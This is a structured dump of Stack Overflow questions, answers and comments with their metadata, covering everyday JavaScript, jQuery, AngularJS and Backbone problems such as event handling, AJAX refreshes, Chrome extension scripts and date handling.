score: 0
type: Comment
comment on: http://stackoverflow.com/a/25703436
type: AnswerComment
has text: Add `document.body.style.overflow = 'hidden';` to the top of your js. This should fixed the problem. See the updated demo.

http://stackoverflow.com/comment/40056327
comment on: http://stackoverflow.com/a/25624156
score: 0
type: Comment
has text: its working fine in JSFiddle, but when I am trying same into real code , its shows me error ": angular.foreach is not a function", can you please help me?
type: AnswerComment

http://stackoverflow.com/comment/40015515
type: Comment
score: 1
type: QuestionComment
has text: @JarrodRoberson I think the `jquery` tag can be quite useful when paired with the `javascript` tag. It denotes that the question involves jQuery, and that a jQuery solution is acceptable. Not everyone that knows JavaScript knows jQuery, and in many cases, people use jQuery without understanding the underlying pure JavaScript. So perhaps not completely irrelevant.
comment on: http://stackoverflow.com/q/25614632

http://stackoverflow.com/a/25616439
score: 0
has body: Have a Layout &amp; ShellView/MenuView. Don't append $el of every view to body, instead use a container for each specific view. One approach can be : &lt;body&gt; &lt;div id='menu'&gt;&lt;/div&gt; &lt;div id='content'&gt;&lt;/div&gt; &lt;/body&gt; new Backbone.Router.extend({ initialize:function(){ new MenuView({el:"#menu"}).render(); //this one creates menu }, routes:{...}, routeHandler:function(){ new ArtistVideosView({el:'#content'}).render(); } });
type: Answer
answers question: http://stackoverflow.com/q/25607193

http://stackoverflow.com/comment/40009824
comment on: http://stackoverflow.com/q/25607328
score: 0
type: QuestionComment
type: Comment
has text: As @Chris has pointed out, it's unclear what the problem is without you showing your code. Please edit your question to show exactly what you are trying to do and what you have tried already.

http://stackoverflow.com/comment/39919327
score: 0
type: Comment
has text: Shoot, I left in the `new Array` part so the error read like: `var destinations = new Array[]; ^ SyntaxError: Unexpected token ]` I fixed it though, thanks for the help!
type: AnswerComment
comment on: http://stackoverflow.com/a/25561261

http://stackoverflow.com/comment/40193827
type: Comment
type: QuestionComment
has text: So, it seems that I guess I should have tried my last suggestion before posting this question. After dropping the `.import` from the 'container' Bootstrap .less file, and using `api.add_files` with it, it seems to be working, at least now my test document has style associated with it. I still can't use Bootstrap's mixins in a custom .less file, though.
comment on: http://stackoverflow.com/q/25712430
score: 0

http://stackoverflow.com/q/25585200
downvote count: 1
type: Question
has body: In my website in a particular workflow, a screen appears with payment options and a timer starts. From this screen onward if user tries to refresh the page or go back to the previous page, then user should be redirected to home page. To implement this functionality what could be the easiest way? Please consider this website is built using mvc5
tagged with: javascript
has answer: http://stackoverflow.com/a/25585348
linked to: http://stackoverflow.com/q/3527041
has answer: http://stackoverflow.com/a/25585230
tagged with: asp.net-mvc-5
answer count: 2
upvote count: 0
tagged with: .net
tagged with: jquery
tagged with: asp.net
favorite count: 0
has title: How to restrict user to refresh page or go back to the previous page?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39963199
score: -1
has comment: http://stackoverflow.com/comment/39961725

http://stackoverflow.com/a/25664840
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25656770
type: Answer
answers question: http://stackoverflow.com/q/25656770
has comment: http://stackoverflow.com/comment/40113503
has body: I'm not sure I've got you problem, but as I see, you could solve it by putting the interval creation inside the same function that opens the windows. Then, everytime the window is opened, the interval is created. Like this: var shareWindow; //Open the window on call function openShareWin(link) { shareWindow = window.open(link, 'rmShare', 'location=0,status=0,menubar=0,scrollbars=1,resizable=1,width=520,height=350'); //Initiate card flip on close var pollTimer = window.setInterval(function() { if (shareWindow.closed !== false) { // !== is required for compatibility with Opera window.clearInterval(pollTimer); flipOnClose(); } }, 200); } function flipOnClose() { $(document).ready(function() { $('.share-rotate').trigger('click'); }); } If I'm wrong, please tell me.
score: 0

http://stackoverflow.com/comment/40075268
score: 0
type: QuestionComment
has text: Ok @Ninsly i figured out a small problem and thats i am getting id of the item_name instead of actual name selected at the drop down
type: Comment
comment on: http://stackoverflow.com/q/25645640

http://stackoverflow.com/a/25616029
answers question: http://stackoverflow.com/q/25565558
has comment: http://stackoverflow.com/comment/44569463
score: 0
type: Answer
has body: This seems to be a Showdown problem rather than a webpack one. The code that requires fs is intended to only be run in a node environment. Unfortunately there are some typos in the code that checks if it's running in node (the first if statement in the code you posted, undefind instead of undefined). There is an pull request that fixes this which hasn't been merged yet. To be honest it looks like the Showdown library is no longer maintained (last commit November 2012) so you may be better off looking for an alternative if possible.
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/25579033
has answer: http://stackoverflow.com/a/25579255
possible better answer: http://stackoverflow.com/a/25579091
has answer: http://stackoverflow.com/a/25579091
has answer: http://stackoverflow.com/a/25579112
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has body: I have tried the below DEMO to set value for checkboxes as "0" or "1" based on selection of checboxes. The below code is working for one checkbox but If I create multiple checkboxes, it is not working for new ones. How to make it work for all checkboxes. HTML: &lt;input type="checkbox" value="1" /&gt;Checkbox &lt;br/&gt; &lt;br/&gt; &lt;span id="result"&gt;&lt;/span&gt; JS: window.onload = function () { var input = document.querySelector('input[type=checkbox]'); function check() { if (input.checked) { var a = "1"; } else { var a = "0"; } document.getElementById('result').innerHTML = 'result ' + a; } input.onchange = check; check(); } DEMO
has title: Form Data not capturing correctly
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25579112
has comment: http://stackoverflow.com/comment/39950598
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39950697
tagged with: javascript
score: 0
answer count: 3

http://stackoverflow.com/a/25666338
accepted answer of: http://stackoverflow.com/q/25666279
type: Answer
answers question: http://stackoverflow.com/q/25666279
score: 3
upvote count: 3
has body: You have incorrect selector for targeting selected li in next button click event. You do not need to convert the object to javascript object as you need to use .hasClass() method. also you can narrow down your selector to use .closest() insteads of using .parent() multiple times.Use: $(this).closest('.quizitem').find("ul.answers li.selected").hasClass("correct") ? "Correct":"Wrong") Working Demo
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25650904
has answer: http://stackoverflow.com/a/25659021
has body: I'm trying to create a very basic chrome extension that changes a label on the screen to "hi", but it doesn't seem to be working. This is my manifest.json: { "manifest_version" : 2, "name": "My Extension", "version": "1", "description": "Testing", "content_scripts": [ { "matches": ["http://roblox.com/*"], "js": ["jquery.min.js"] } ], "background": { "scripts": ["jquery.min.js", "run.js"] }, "permissions": [ "tabs", "&lt;all_urls&gt;", "contentSettings" ] } and this is the background script that is supposed to change the label chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) { if (changeInfo.status === 'complete') { chrome.tabs.executeScript(tabId, { code: "$('.robux-amount').text('hi')" }); } });
has title: How can I fix this very basic Chrome extension?
has comment: http://stackoverflow.com/comment/40081717
type: Question
has comment: http://stackoverflow.com/comment/40081470
answer count: 1
tagged with: javascript
tagged with: jquery
score: 0
tagged with: google-chrome-extension
upvote count: 1
has comment: http://stackoverflow.com/comment/40081821
downvote count: 1
has comment: http://stackoverflow.com/comment/40081602
has comment: http://stackoverflow.com/comment/40081584
favorite count: 0
has comment: http://stackoverflow.com/comment/40081754
type: UnansweredQuestion

http://stackoverflow.com/comment/40009952
has text: It's not about formatting a date to a timezeone. It's about turning a date object into another type of date. For example, when you get some data from the server you would run your dates through that method rather than calling `new Date(...)`. Then you can use that other date object for things like the date_format filter. Either way though, you'll never really be able to do something application-wide that just magically works.. that one is a pipe dream :)
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25602665

http://stackoverflow.com/comment/39997808
type: QuestionComment
type: Comment
has text: Doesn't work for Chrome: `false|(!!1) === 1` -> `0`
score: 1
comment on: http://stackoverflow.com/q/25604974

http://stackoverflow.com/a/25675788
downvote count: 0
score: 1
has body: It sounds like you are encoding data to be passed in a URL, so you probably actually want encodeURIComponent. encodeURIComponent('?') //=&gt; "%3F" Which, of course, works for many other special characters as well. encodeURIComponent('hello?foo#bar') //=&gt; "hello%3Ffoo%23bar"
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25675685

http://stackoverflow.com/a/25698685
score: 1
has body: Seems that the function password.authenticate returns a function/closure. The code is like foo(x, y)(z); i.e. the function returned by the call foo(x, y) is called with parameter z. A very simple example is function multiplier(k) { return function(x) { return x*k; }; } console.log(multiplier(7)(6)); // outputs 42
accepted answer of: http://stackoverflow.com/q/25698660
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25698660
type: Answer
upvote count: 1

http://stackoverflow.com/a/25682562
type: Answer
has body: jQuery provides inArray for arrays so you can avoid using the array version of indexOf (not present in IE8). Two of your other examples are using the string version of indexOf which does exist in IE8.
answers question: http://stackoverflow.com/q/25682514
score: 0

http://stackoverflow.com/q/25700928
score: 0
has title: How to alert when scroll page every 200px;
has comment: http://stackoverflow.com/comment/40172344
answer count: 1
linked to: http://stackoverflow.com/q/9375018
has comment: http://stackoverflow.com/comment/40172189
has comment: http://stackoverflow.com/comment/40172165
has answer: http://stackoverflow.com/a/25700968
type: AnsweredQuestion
tagged with: javascript
has comment: http://stackoverflow.com/comment/40172454
accepted answer: http://stackoverflow.com/a/25700968
type: Question
has body: How to alert when scroll page every 200px; i want to alert some text when user sceoll page every 200px; how can i do that? i try like this but not work $(window).scroll(function () { if ($(window).scrollTop()%200 != '0') { alert($(window).scrollTop()); } });
has comment: http://stackoverflow.com/comment/40172167

http://stackoverflow.com/q/25701095
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40175440
answer count: 0
type: Question
has body: I want to set up two div entries on a page that are refreshed from a database at different rates. I'd like to have one div display random entries from the database every second, and below that, every 10 seconds a random entry is selected and has 500 points added to its score. I can do the second (lottery_Winner): &lt;div id="lottery_Winner" class = "tableCenter"&gt; {% for entry in lottery_winner %} &lt;li class = "lot"&gt; &lt;a&gt; {{"WINNER"}}&lt;/a&gt; &lt;/li&gt; &lt;li class = "lot"&gt;&lt;a href="/entries/{{ entry.id }}/"&gt; &lt;span id="entry-text"&gt;{{ entry.text }}&lt;/span&gt; &lt;span id="score"&gt;{{ entry.score }}&lt;/span&gt;&lt;/a&gt;&lt;/li&gt; &lt;script&gt; $(document).ready(function() { var currentid = {{entry.id}}; var args = {'lotteryid':currentid}; $.get("/lotteryWinner/", args).done(function(data) { $("#score").text(data); }); }); &lt;/script&gt; {% endfor %} &lt;/div&gt; &lt;script&gt; setTimeout(function() { $.ajax({ url: "", context: document.getElementById("lottery_Winner"), success: function(data){ $("#lottery_Winner").html(data); } }); }, 5000); &lt;/script&gt; but when I do the first (lottery_Cycle), I get unexpected results - they both refresh the same time (undesired), there is a "ghost" element for one or both of the divs, and the lottery_cycle div entry can get the 500 points, the Winner and Cycle have the same entries and the page refresh cascades until it hangs periodically. Here's the code I tried: &lt;div id="lottery_Cycle" class = "tableCenter"&gt; {% for entry in lottery_winner %} &lt;li class = "lot"&gt; &lt;a&gt; {{"LOTTERY"}}&lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="/entries/{{ entry.id }}/"&gt; &lt;div class = "lot" style = "text-align: left";&gt;{{ entry.text }} &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;div style="float: right"&gt;{{ entry.score }}&lt;/div&gt;&lt;/a&gt;&lt;/li&gt; {% endfor %} &lt;/div&gt; &lt;div id="lottery_Winner" class = "tableCenter"&gt; {% for entry in lottery_winner %} &lt;li class = "lot"&…
has title: Multiple div refresh on different timings in jquery/ajax?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40172640
has comment: http://stackoverflow.com/comment/40178078
score: 0
tagged with: jquery
has comment: http://stackoverflow.com/comment/40177251
tagged with: ajax

http://stackoverflow.com/q/25677701
tagged with: meteor
favorite count: 0
accepted answer: http://stackoverflow.com/a/25677859
type: AnsweredQuestion
upvote count: 10
type: Question
has answer: http://stackoverflow.com/a/25677859
score: 10
has title: How to run Meteor forever? And is it good using 3rd party database?
tagged with: javascript
has body: So, when I run meteor, app works fine. However, when I close the connection to my cloud server, meteor obviously shuts down. What should I do to run meteor forever? Also, what's the point of using 3rd party database service like https://mongolab.com/? Doesn't it slow down the website, because now application has to connect to their database instead of local database? And how exactly do I connect to mongolab for example?
answer count: 1
downvote count: 0

http://stackoverflow.com/q/25691839
answer count: 2
tagged with: javascript
tagged with: jquery
tagged with: fixed-header-tables
has title: How to pass a dynamic list of comma separated elements into a jQuery Plugin's options
has answer: http://stackoverflow.com/a/25691918
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25691920
accepted answer: http://stackoverflow.com/a/25691918
tagged with: jquery-ui
has answer: http://stackoverflow.com/a/25691920
has body: I am working with the jQuery fixedheadertable plugin. This plugin allows user to have a fixed header that stays in a static position whenever scrolling down the table. My question is more of a general js question, however. Here is my code that initializes the plugin: setupClipboardTable:function(){ var height = jQuery('#clipboardTypeContainer').height(); var width = jQuery('#clipboardTypeContainer').width(); var colW = 150 var colCnt = jQuery('#adCbColCnt').val(); //var colratioString = [ colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW, colW ]; var colratioString = [ 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150, 150 ]; jQuery('#Clipboard'+cbType).fixheadertable({ height : height, whiteSpace : 'nowrap', //normal addTitles : true, colratio : colratioString, }); }, Basically, my problem is that for my table, the number of columns will change based on user selected preferences. Once that number changes, we have to re-run this function in order to get the table to appear correctly. The main idea is that the var 'colratioString' has to have the same exact amount of values in it as there are number of columns in the table. Those numbers (ex: 150) can be set to whatever we want, but for the sake of simplicity I'm keeping them all at 150 right now. The hurdle I am trying to get over is the fact that sometimes I may need the colratioString to look like this: colratioString = [ 150, 150, 150, 150] and sometimes I may need it to look like this colratioString = [ 150, 150, 150, 150, 150, 150, 150] and so on. Is there some way I can take the colCnt value (which is the correct # of columns I will have), and create a colratioString with the correct number of values? Here's an example. If... var colCnt = 5 Then var colratioString = [ 150, 150, 150, 150, 150 ] I'm having trouble with how I can take the value of colCnt, and make a colratioString variable that contains the exact formatting that …
tagged with: jquery-plugins
type: Question
score: 0

http://stackoverflow.com/a/25627492
type: Answer
has comment: http://stackoverflow.com/comment/40039048
has body: Keep a global JavaScript variable named offset (or whatever you want to name it) Increment offset when adding a field, decrement when removing a field Then, add this to the id declarations when creating a new field - they will be named: offset = 1; "fieldName" + offset++ //fieldName1 "fieldName" + offset++ //fieldName2 "fieldName" + offset++ //fieldName3
score: 0
has comment: http://stackoverflow.com/comment/40039260
answers question: http://stackoverflow.com/q/25627260
has comment: http://stackoverflow.com/comment/40039228

http://stackoverflow.com/comment/40144756
type: AnswerComment
score: 0
has text: But this is a rather inefficient selector. It still loops over the DOM to find `.error`, and then traverses up for each to look for `.hideErrors`.
comment on: http://stackoverflow.com/a/25686243
type: Comment

http://stackoverflow.com/q/25603210
tagged with: php
upvote count: 2
tagged with: http://stackoverflow.com/tag/json
answer count: 1
has answer: http://stackoverflow.com/a/25606284
tagged with: javascript
type: AnsweredQuestion
score: 2
downvote count: 0
has title: How to get back uploaded image path by dropzone
has body: I'm trying to return success function of dropzone but it's not working. I need the path and image name back on image uploading page... My code: Submit all files And Upload script: $upload_dir = 'uploads'; if (!empty($_FILES)) { $tempFile = $_FILES['file']['tmp_name']; echo $tempFile; // using DIRECTORY_SEPARATOR constant is a good practice, it makes your code portable. $targetPath = dirname( __FILE__ ) . DIRECTORY_SEPARATOR . $upload_dir . DIRECTORY_SEPARATOR; // Adding timestamp with image's name so that files with same name can be uploaded easily. $mainFile = $targetPath.time().'-'. $_FILES['file']['name']; move_uploaded_file($tempFile,$mainFile); } else { echo 'error: no file'; } I need the success function to return the path of uploaded images. Thanks.
favorite count: 0
tagged with: dropzone.js
type: Question
accepted answer: http://stackoverflow.com/a/25606284

http://stackoverflow.com/q/25675358
accepted answer: http://stackoverflow.com/a/25675373
tagged with: javascript
tagged with: jquery
tagged with: click
score: 0
tagged with: events
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25675373
type: Question
has title: Click event not working with the checkbox tag
has body: i have this code below: html.push('&lt;tr class="reservas"&gt;'); html.push('&lt;td&gt; &lt;input type="checkbox" class="checkbox" data-name="' + bla.name + '" data-email="' + bla.email /&gt; &lt;/td&gt;'); // atribui os dados a atributos para serem acessados posteriormente por jquery. html.push('&lt;td&gt;' + bla.name + '&lt;/td&gt;'); html.push('&lt;td&gt;' + bla.email + '&lt;/td&gt;'); html.push('&lt;/tr&gt;'); $('tbody').append(html.join("")); $(function(){ $('.save').on('click', function(){ }); }); The click event does not work, if i change for the body tag will work, but i need with the checkbox class. Every help is very appreciated.
answer count: 1

http://stackoverflow.com/comment/40054513
type: QuestionComment
comment on: http://stackoverflow.com/q/25634933
has text: Might want to add the google-cloud-endpoints tag
score: 0
type: Comment

http://stackoverflow.com/comment/39974648
type: AnswerComment
has text: Thanks for your help really, it's still executing the script. My finger are crossed. If I still have problems I'll let you know. Unfortunately sometimes it's hard to reproduce the same problem on jsfiddle. If you have some time to look at it and you have XAMPP or MAMP installed I can send you the project in an email, thanks anyway for your help
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25591994

http://stackoverflow.com/a/25664894
answers question: http://stackoverflow.com/q/25664707
upvote count: 0
type: Answer
score: -2
has body: you can also: $('#SearchBx').removeClass('wid344').addClass('wid344'); I removed it first, cause it could be that the class was already in it.
downvote count: 2
has comment: http://stackoverflow.com/comment/40106282
has comment: http://stackoverflow.com/comment/40106189

http://stackoverflow.com/comment/39958880
type: AnswerComment
comment on: http://stackoverflow.com/a/25578989
has text: I've added to my answer to show how to calculate points on the bicetrix. My answer already explains how to test for the lighter bone areas of your image. Good luck with your project!
type: Comment
score: 1

http://stackoverflow.com/comment/40126010
comment on: http://stackoverflow.com/q/25675364
score: 0
has text: I don't think so, although my javascript knowledge is a little bit limited, I could be sure it's a procedural function. I'm going to edit the main post to present with the full function.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/42904099
type: Comment
type: QuestionComment
has text: Well done - you should add this as an answer.
comment on: http://stackoverflow.com/q/25595486
score: 0

http://stackoverflow.com/comment/40105731
comment on: http://stackoverflow.com/q/25664487
score: 0
type: Comment
type: QuestionComment
has text: redirect where? And why?

http://stackoverflow.com/q/25691968
has comment: http://stackoverflow.com/comment/40157276
has comment: http://stackoverflow.com/comment/40157485
type: Question
has title: Backbone.Marionette - Replacing view but maintaining state
tagged with: javascript
has comment: http://stackoverflow.com/comment/40157344
score: 0
has body: I have an Application, and two LayoutViews. Essentially a user interacts with one of these LayoutViews which is assigned to a region. I would like to maintain the state of the view, so any input, any interaction with the view. However there is a button that a user can press to add a message. I would like this to be rendered in place of the previous view. Currently, it always just renders the original layout, erasing any changes the user made. [.. setting up view "newMessageLayout" ..] App.newPostLayout = Page.layout = new newPostLayout; Page.layout.on('writeButtonClicked', function() { App.page.load('newMessage/addMessage'); // (load essentially requires() the page) }); In pages/newMessage/addMessage.js: Page.layout = new addMessageLayoutView(); Page.layout.on('onAddMessage', function() { // Process the new message // [....] // Show the write layout again App.uiInner.show(App.newPostLayout); // (uiInner is a region defined at the app level) // How do I show the previous version of the view??? }); // Renders the add post view App.uiInner.show(Page.layout, {preventDestroy: true}); How would I then render the saved state of the page in my .show() call. Is there a more standard way to do this? Thanks for your time.
tagged with: backbone.js
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40157605
tagged with: marionette
tagged with: view
answer count: 0

http://stackoverflow.com/q/25556170
tagged with: jplayer
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25574911
score: 1
has title: JPlayer seekbar not seeking
has body: We have the jPlayer plugin here on this site http://**********.com the problem is the seek bar is showing the correct position of the track but not allowing the user to change the position of the track. I have checked the swfpath property and that the JPlayer.swf is in the /js/ folder however its still not working, randomly it has been working in a previous release but unsure whats changed in our software. Even help in debugging this would be appreciated. Update: I am using Jquery 1.9.1 29-08-2014 I have figured out this is related to my MVC stream function I am using to audit rendering the audio, however now this poses a new question to why its not working.
type: Question
answer count: 1
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25574911
favorite count: 0

http://stackoverflow.com/comment/40067334
comment on: http://stackoverflow.com/a/25643418
score: 0
type: AnswerComment
has text: You could still use `'#paragrah' + counter` in your code.
type: Comment

http://stackoverflow.com/q/25631429
has body: I have a few jQuery prototype methods: $.fn.one $.fn.two $.fn.three Each has their own code and I want to add something to the end of all three. Lets say console.log('done'). Is this possible?
type: AnsweredQuestion
score: 3
accepted answer: http://stackoverflow.com/a/25631493
tagged with: prototype
has title: Extend all prototypes
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25631493
upvote count: 3

http://stackoverflow.com/comment/40186123
comment on: http://stackoverflow.com/q/25695318
type: Comment
type: QuestionComment
has text: What happens when you try the linked solution? Are the any problems?
score: 0

http://stackoverflow.com/comment/40181536
score: 0
type: AnswerComment
type: Comment
has text: FYI: this is where I took it from http://blogs.msdn.com/b/windowsappdev/archive/2013/06/11/all-about-promises-for-windows-store-apps-written-in-javascript.aspx
comment on: http://stackoverflow.com/a/25647550

http://stackoverflow.com/comment/39980057
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25595242
score: 0
has text: Yeah, this div have a also `style="display:none"` code.

http://stackoverflow.com/q/25659565
type: Question
tagged with: javascript
score: 0
tagged with: jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40098349
has body: I am trying to make a simple widget that has a simple div and jquery applies in that. for that i have to write javascript code on client side of that widget. I tried to write javascript with the HTML but it doesn't work. Here is my code. public void updateFromUIDL(UIDL uidl, ApplicationConnection client) { // This call should be made first. // It handles sizes, captions, tooltips, etc. automatically. if (client.updateComponent(this, uidl, true)) { // If client.updateComponent returns true there has been no changes and we // do not need to update anything. return; } // Save reference to server connection object to be able to send // user interaction later this.client = client; // Save the client side identifier (paintable id) for the widget paintableId = uidl.getId(); // Process attributes/variables from the server // The attribute names are the same as we used in // paintContent on the server-side int clicks = uidl.getIntAttribute("clicks"); String message = uidl.getStringAttribute("message"); String myScript = " "; getElement().setInnerHTML(myScript+" Click me "); //getElement().setInnerHTML("After "+clicks+" mouse clicks:\n" + message); } in browser inspect element HTML is like this but this alert does not show up. How to do it. please help. im tired of doing google this problem. I am using Vaadin 6 Thank you
answer count: 0
has comment: http://stackoverflow.com/comment/40099980
tagged with: vaadin
has title: How to write javascript code in custom widget in VAADIN 6 client side

http://stackoverflow.com/a/25569953
has comment: http://stackoverflow.com/comment/40565188
upvote count: 3
has comment: http://stackoverflow.com/comment/40541133
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/39967814
answers question: http://stackoverflow.com/q/25554797
has body: For some reason PhantomJS does not have a click() function in it. Here is the workaround: //Need to create a cross browser click() function no .click() in PhantomJS function click(el){ var ev = document.createEvent('MouseEvent'); ev.initMouseEvent( 'click', true /* bubble */, true /* cancelable */, window, null, 0, 0, 0, 0, /* coordinates */ false, false, false, false, /* modifier keys */ 0 /*left*/, null ); el.dispatchEvent(ev); } And here is how to use it: it('Should set the month when the month is changed', function(){ var obj = element[0].getElementsByClassName('month_opt')[1]; click(obj); expect(scope.dt.getMonth()).toEqual(1); });
type: Answer
has comment: http://stackoverflow.com/comment/40004138
accepted answer of: http://stackoverflow.com/q/25554797
score: 3

http://stackoverflow.com/comment/39965374
type: Comment
has text: Can we see the constructor for `theBlock` variable
type: QuestionComment
comment on: http://stackoverflow.com/q/25587257
score: 0

http://stackoverflow.com/q/25588212
has answer: http://stackoverflow.com/a/25588335
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25590888
score: 0
answer count: 2
tagged with: ruby-on-rails-4
has comment: http://stackoverflow.com/comment/39973468
has title: Retrieving JSON from cookies
type: UnansweredQuestion
has body: My cookie is set as follows cookies[:cart] = "[{"id":"23","amount":"9"},{"id":"37","amount":"4"}]" cookies[:cart] returns [{"id":"23" and calling .each on cookies produces this abomination: ["cart", "[{\"id\":\"23\""] ["\"amount\":\"9\"}", nil] ["{\"id\":\"37\"", nil] ["\"amount\":\"4\"}]", nil] I'm totally lost and can't really figure out what is going on (I suspect the ',' is doing some funny stuff). So my questions are: Is there a way around this? Am I doing something terribly wrong by storing JSON in cookies? if point_2 then, What would be a better way? (I'm mainly storing with Javascript and reading with RoR, and I figured parsing with the build in JSON functions would be easier.)
tagged with: ruby-on-rails
tagged with: cookies
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/25590672
favorite count: 0
has comment: http://stackoverflow.com/comment/39971613
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25590735
has title: How To Make A Window Appear When A User's Mouse Hovers Outside The Webpage Area?
upvote count: 1
has comment: http://stackoverflow.com/comment/39971601
linked to: http://stackoverflow.com/q/923299
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/923299
score: 1
linked to: http://stackoverflow.com/q/147636
accepted answer: http://stackoverflow.com/a/25590735
has comment: http://stackoverflow.com/comment/39971636
type: Question
answer count: 1
downvote count: 0
has body: The best way I can describe what I am talking about is say you are on a webpage and you start to move your mouse to move to the "back" button. Once your mouse leaves the webpage area, I want to show a window appear within the webpage and shows something inside of it. So it is a way to notify the user of something before they are going to leave the website? Does anyone know of how you would go about this or what to use? Or any tutorials on this? I'm thinking javascript with mousemovement or jquery possibly, but I can't find anything around online. Is there a specific name for the webpage area of a website that is more proper so I would find this online? Thanks
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25651331
downvote count: 0
type: Answer
score: 3
has body: I don't see you validate_input function return anything. If you want to wait, you need to return a promise, so that you don't pass undefined to $.when(): function validate_input(input){ var value=input.val(); if (value.length&lt;4){ return …; //code to execute if input is too short } else { return $.ajax({ // ^^^^^^ … }); } }
answers question: http://stackoverflow.com/q/25651172
has comment: http://stackoverflow.com/comment/40087094
accepted answer of: http://stackoverflow.com/q/25651172
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/40115537
type: Comment
comment on: http://stackoverflow.com/a/25669368
has text: It is displaying as +text2[j]+ in the table but not actual array value
score: 0
type: AnswerComment

http://stackoverflow.com/q/25581100
answer count: 4
has body: I have a div which needs to be hide with php script. Here is the code that I have written so far...but I am not getting the exact result... <?php $s = "2"; if($s == "1") { echo "empty fr"; ?> <?php } ?> Text
has comment: http://stackoverflow.com/comment/39954322
has answer: http://stackoverflow.com/a/25581165
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25581129
score: 0
has title: how to hide a div in php using javascript?
has answer: http://stackoverflow.com/a/25581119
has comment: http://stackoverflow.com/comment/39954220
type: UnansweredQuestion
tagged with: php
has answer: http://stackoverflow.com/a/25581111

http://stackoverflow.com/a/61473094
has body: I tried Mr.Wayne's code, it's beautifully written, but I was trying to fade a lot of things at the same time and I could see my browser slowing down using his code. After trying a few options I came up with this: function fading(){ var increment = 0.045; var opacity = 0; var instance = window.setInterval(function() { document.getElementById('about').style.opacity = opacity opacity = opacity + increment; if(opacity &gt; 1){ window.clearInterval(instance); } },100) } fading(); You can check it out here on jsfiddle : https://jsfiddle.net/b12yqo7v/
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/25682379
downvote count: 0

http://stackoverflow.com/q/25627192
accepted answer: http://stackoverflow.com/a/25628454
tagged with: java
tagged with: date
has body: I always had this doubt and always had problems with this. The thing is that, for example, I have a form that requests the user to enter a date and the it is posted via ajax to the server and it receives the date field as a Date type. Some times, what I did was to send the different values in different params, like this: { day: 18, month: 05, year: 2014, hour: 10, min: 30 } And then in the server, make the Date type from the values received. But then, of course, I thought this was not a good practice and I started to make a string like this: { date: "2014-09-16T12:00:00Z" } but this of course, does not take in account the location of the user in order to keep the corresponding GMT+-.. I also thought about posting the milliseconds, but here again, there is the problem with the GMT.. I am using spring, just for the record. So, how should it be done? What is the best practice to do this?
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25627383
has title: How should dates be posted to java?
has comment: http://stackoverflow.com/comment/40038548
tagged with: javascript
tagged with: ajax
score: 0
possible better answer: http://stackoverflow.com/a/25627383
has answer: http://stackoverflow.com/a/25628454
has comment: http://stackoverflow.com/comment/40038508
type: AnsweredQuestion

http://stackoverflow.com/q/25557962
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25559174
score: 6
has comment: http://stackoverflow.com/comment/39912367
favorite count: 0
tagged with: angularjs
type: Question
has answer: http://stackoverflow.com/a/25558002
tagged with: angularjs-ng-repeat
upvote count: 6
has answer: http://stackoverflow.com/a/40785409
possible better answer: http://stackoverflow.com/a/25558002
has title: Angularjs ng-repeat doesn't update when the model changes
has answer: http://stackoverflow.com/a/25558802
has answer: http://stackoverflow.com/a/25559174
